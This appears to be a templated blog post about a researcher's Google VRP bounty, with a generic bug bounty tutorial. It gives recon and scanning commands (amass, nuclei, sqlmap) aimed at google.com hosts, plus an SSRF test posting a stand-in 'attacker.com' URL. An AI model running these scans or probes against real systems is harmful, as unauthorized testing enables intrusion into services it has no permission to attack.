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Khetaram Mali recently earned a $10,000 bounty from Google’s Vulnerability Reward Program (VRP). This achievement highlights the importance of ethical hacking and bug bounty hunting in cybersecurity. Below, we break down key techniques, tools, and commands to help you replicate such success.
You Should Know: Essential Bug Bounty Techniques
1. Reconnaissance & Target Mapping
Before attacking, gather intelligence on Google’s attack surface:
Subdomain Enumeration amass enum -d google.com -active -o subs.txt subfinder -d google.com -o subdomains.txt assetfinder --subs-only google.com | httprobe > live_subs.txt Wayback Machine Data waybackurls google.com | grep ".google.com" | sort -u > urls.txt
2. Vulnerability Scanning
Automate vulnerability detection with:
Nikto Scan nikto -h https://target.google.com -output vuln_scan.txt Nuclei Templates nuclei -u https://target.google.com -t ~/nuclei-templates/ -o nuclei_results.txt XSS & SQLi Testing sqlmap -u "https://target.google.com/search?q=1" --batch --crawl=2
3. Exploiting Common Google VRP Vulnerabilities
Google VRP rewards:
- SSRF (Server-Side Request Forgery)
- RCE (Remote Code Execution)
- OAuth Misconfigurations
- Logic Flaws in APIs
Example SSRF Test:
curl -X POST "https://api.google.com/v1/fetch" -d '{"url":"http://attacker.com"}'
4. Reporting & POC Submission
A valid report includes:
- Clear impact
- Reproducible steps
- Proof-of-Concept (PoC) code
What Undercode Say
Google’s VRP is highly competitive, but persistence pays off. Focus on:
– Automated scanning (Amass, Nuclei)
– Manual testing (Burp Suite, OWASP ZAP)
– Staying updated on new attack vectors (check Google VRP Rules)
Expected Output:
A well-documented bug report leading to a $10,000+ bounty.
Prediction
As Google expands its services, API vulnerabilities and cloud misconfigurations will dominate future bounties. Start mastering Kubernetes hacking and GCP security now.
Relevant URLs:
This guide equips you with real-world techniques—now go hunt! 🚀
References:
Reported By: Khetaram Mali – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
